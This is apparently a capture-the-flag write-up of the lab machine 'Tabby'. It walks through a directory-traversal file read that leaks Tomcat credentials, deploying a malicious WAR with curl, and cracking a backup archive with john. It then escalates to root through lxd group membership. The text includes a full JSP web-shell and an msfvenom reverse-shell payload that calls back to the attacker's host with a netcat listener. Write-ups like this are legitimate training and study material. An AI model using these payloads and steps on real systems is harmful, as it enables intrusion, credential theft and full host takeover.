Overview

Tabby

Tabby is an easy linux box by egre55.

The box starts with web-enumeration, where we find a LFI, which we can use to read arbitrary files from the system. Using the LFI, we can find the Tomcat credentials to login. We have the manager-script role, which allows us to use curl to upload a malicious war file, getting code-execution and a shell on the server.

After some searching around on the we find an encrypted-backup. We use john to crack the password and use the password to login as user and read user.txt.

In order to get root, we exploit our group-membership of the lxd group. This exploit follows a similar principle as the docker-privesc, which I have covered previously. This exploit allows us to get arbitrary file-read&write and we can read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 14:45 CEST
Nmap scan report for megahosting.htb (10.10.10.194)
Host is up (0.045s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

The only open ports shown are 22, 80 and 8080. SSH usually is not that interesting, so let us begin with http.

HTTP - Port 80

Going to http://10.10.10.194, we get this webpage shown.

Webpage index

Clicking on the link, we get redirected to http://megahosting.htb/news.php?file=statement. We can an entry for this domain to our /etc/hosts file and open the new web-page.

Webpage of the statement

The webpage shown after the redirect. This looks like a possible directory-traversal vulnerability. Let us try to specify ../../../../etc/passwd as the file to read.

Directory Traversal successful

We successfully exploit the directory-traversal and are able to read /etc/passwd. Now that we have arbitrary file-read, let us enumerate Tomcat and see if we can read any interesting files there.

Apache Tomcat - 8080

Going to http://megahosting.htb:8080, we get this page telling us that Tomcat has been installed.

Tomcat installed

With the arbitrary-file read in mind, let us try to access the tomcat-users.xml file.

The web-page states that Users are defined in /etc/tomcat9/tomcat-users.xml and that Tomcat is installed in /usr/share/tomcat9. After a bit of trying around I got the file at the location: /usr/share/tomcat9/etc/tomcat-users.xml. We can use the directory-traversal to read the file.

Tomcat Users leaked

We now have the username and password of the user, however we cannot access the manager page.

Manager page blocked

By default the manager page is only accessible via localhost. We can only access it, if we have the manager-gui role. Checking our roles again, we do not have this role, however we do have the manager-script role.

Deploying a malicious war to get a shell

Now that we have enumerate the system and found our initial foothold attack-vector, let us upload a malicious war to get a shell as the user tomcat.

Googling for the term manager-script deploy war, we get this stackoverflow post. That gives us a good idea of how to deploy a war file using the manager-script role:

curl --upload-file <path to warfile> "http://<tomcat username>:<tomcat password>@<hostname>:<port>/manager/deploy?path=/<context>&update=true"

Checking out the official docs, we find that we need to change the path from /manager/deploy to manager/text/deploy.

This gives us the following command to upload war files:

curl --upload-file evil.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/chronos&update=true'

Now that we have a way to upload the evil war file, let us generate our payload to get a shell.

Way 1: Web-shell

We can generate a war file with a simple jsp web-shell in it.

root@darkness:~# mkdir war
root@darkness:~# cd war/
root@darkness:~/war# vim index.jsp

For the jsp web-shell we use something like this:

<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

Now we can create the jar file.

root@darkness:~/war# jar -cvf ../evil.war *
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: index.jsp(in = 579) (out= 343)(deflated 40%)

We can now deploy the war file using the curl command found previously.

root@darkness:~# curl --upload-file evil.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/chronos&update=true'
OK - Deployed application at context path [/chronos]

If we now access http://megahosting.htb:8080/chronos/ we should be presented with a web-shell.

Web-shell

The web-shell is fully functional, however a reverse-shell would be much easier to work with.

Way 2: Reverse-shell

In order to get a reverse-shell we can use msfvenom to generate us a malicious war-file that we can upload as previously.

root@darkness:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=443 -f war > rev.war
Payload size: 1091 bytes
Final size of war file: 1091 bytes

Now that we have the payload, let us upload the file again.

root@darkness:~# curl --upload-file rev.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/chronos-rev&update=true'
OK - Deployed application at context path [/chronos-rev]

We can trigger the reverse-shell with another curl command.

root@darkness:~# curl 10.10.10.194:8080/chronos-rev/

With the reverse-shell triggered, we should get a response back to our netcat listener.

root@darkness:~# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.194] 37534
whoami
tomcat

Let us upgrade our shell, so it is much easier to work with.

which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ ^Z
[1]+  Stopped                 nc -lvnp 443
root@darkness:~# stty raw -echo
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm

Privesc to user

Now that our shell is fully upgraded, let us enumerate the system to find a privilege escalation vector to user.

Enumeration as tomcat

Looking around the system, we can find a backup archive called 16162020_backup.zip in /var/www/html/files/.

tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip  archive  revoked_certs  statement

We can download this archive using wget.

root@darkness:~# wget 10.10.10.194/files/16162020_backup.zip
--2020-06-21 15:41:53--  http://10.10.10.194/files/16162020_backup.zip
Connecting to 10.10.10.194:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8716 (8.5K) [application/zip]
Saving to: ‘16162020_backup.zip’

16162020_backup.zip      100%[===============>]   8.51K  --.-KB/s    in 0s      

2020-06-21 15:41:53 (53.2 MB/s) - ‘16162020_backup.zip’ saved [8716/8716]

With the archive downloaded, let us extract the archive and see if we find any interesting files.

root@darkness:~# unzip 16162020_backup.zip 
Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:

Seems like the archive is password-protected. Let us try to crack the hash using john.

Cracking zip with john

We can use zip2john to extract the hashes of the zip-archive.

root@darkness:~# zip2john 16162020_backup.zip > archive.hash                                                          
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmple
n=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen
=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=
2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=1
23, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen
=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Now that we have extracted the hash, let us crack it using john.

root@darkness:~# john archive.hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:00 DONE (2020-06-21 15:45) 1.052g/s 10908Kp/s 10908Kc/s 10908KC/s adnc153..adenabuck
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password for the archive is admin@it. Let us check for password-reuse and try to su to the user of the system.

tomcat@tabby:/var/www/html/files$ su ash
Password: 
ash@tabby:/var/www/html/files$

Using the password of the archive, we can su to the user and read user.txt.

ash@tabby:~$ cat user.txt 
5e1c7***************************

Privesc to root

Now that we have shell-access as user and read user.txt, let user enumerate the system for a privilege escalation path to root.

Enumeration as user

Checking out the groups of the user, we find that the user is part of the lxd group.

ash@tabby:~$ groups
ash adm cdrom dip plugdev lxd

With this group it is possible to escalate the privileges of the user, similar to docker. The whole process is explained in this article or in ippsec’s video.

Privesc using lxd

In order to escalate our privileges, we first have to create a container image. For this we can use lxd-alpine-builder.

root@darkness:~# git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 910.00 KiB/s, done.
Resolving deltas: 100% (6/6), done.
root@darkness:~# cd lxd-alpine-builder/
root@darkness:~/lxd-alpine-builder# ./build-alpine 
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://mirror.neostrada.nl/alpine/v3.12/main
fetch http://mirror.neostrada.nl/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r6)
(2/19) Installing busybox (1.31.1-r15)
Executing busybox-1.31.1-r15.post-install
(3/19) Installing alpine-baselayout (3.2.0-r5)
Executing alpine-baselayout-3.2.0-r5.pre-install
Executing alpine-baselayout-3.2.0-r5.post-install
(4/19) Installing openrc (0.42.1-r9)
Executing openrc-0.42.1-r9.post-install
(5/19) Installing alpine-conf (3.8.3-r7)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r2)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r15)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r0)
(13/19) Installing busybox-suid (1.31.1-r15)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.5-r2)
(16/19) Installing musl-utils (1.1.24-r6)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12_alpha20200428-r0)
Executing busybox-1.31.1-r15.trigger
OK: 8 MiB in 19 packages
root@darkness:~/lxd-alpine-builder# mv alpine-v3.12-x86_64-20200621_1554.tar.gz alpine.tar.gz

Now that we have the alpine image created, let us transfer it to the server using a python http server.

ash@tabby:~$ wget 10.10.14.9/alpine.tar.gz
--2020-06-21 14:15:03--  http://10.10.14.9/alpine.tar.gz
Connecting to 10.10.14.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3210717 (3.1M) [application/gzip]
Saving to: ‘alpine.tar.gz’

alpine.tar.gz       100%[===================>]   3.06M  1.87MB/s    in 1.6s    

2020-06-21 14:15:05 (1.87 MB/s) - ‘alpine.tar.gz’ saved [3210717/3210717]
root@darkness:~/lxd-alpine-builder# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.194 - - [21/Jun/2020 16:01:35] "GET /alpine.tar.gz HTTP/1.1" 200 -

Now that we have the image transferred, let us import the image and create a new container.

ash@tabby:~$ lxc image import alpine.tar.gz --alias alpine
Image imported with fingerprint: 3fd8d8e71bb8a89e81e5ce46c6e4b2d613a38f723a18f3339868cadebfdd515c

We can check if the import was successful using lxc image list:

ash@tabby:~$ lxc image list
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+
| alpine | 3fd8d8e71bb8 | no     | alpine v3.12					 | x86_64       | CONTAINER | 3.05MB |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+

Now that we have verified that we have successfully imported the image, let us initialize and start the container.

ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool

Seems like we need to initialize lxd first.

ash@tabby:~$ lxd init
[...]

We can use the default values for all the options. Now we can initialize the image.

ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc

The image has been successfully created. We can now mount the file-system into the container, so that we have root-access over all the files.

ash@tabby:~$ lxc config device add privesc rootfs disk source=/ path=/mnt/root recursive=true
Device rootfs added to privesc

The image is now fully configured and can be started.

ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # whoami
root
~ # cd /mnt/root/
/mnt/root # ls
bin         home        lost+found  root        swap.img
boot        lib         media       run         sys
cdrom       lib32       mnt         sbin        tmp
dev         lib64       opt         snap        usr
etc         libx32      proc        srv         var

Now we have full access as root and can read root.txt.

/mnt/root/root # cat root.txt
4e0d1***************************

Now we just need to remove the container.

ash@tabby:~$ lxc stop privesc
ash@tabby:~$ lxc delete privesc
ash@tabby:~$ lxc image delete alpine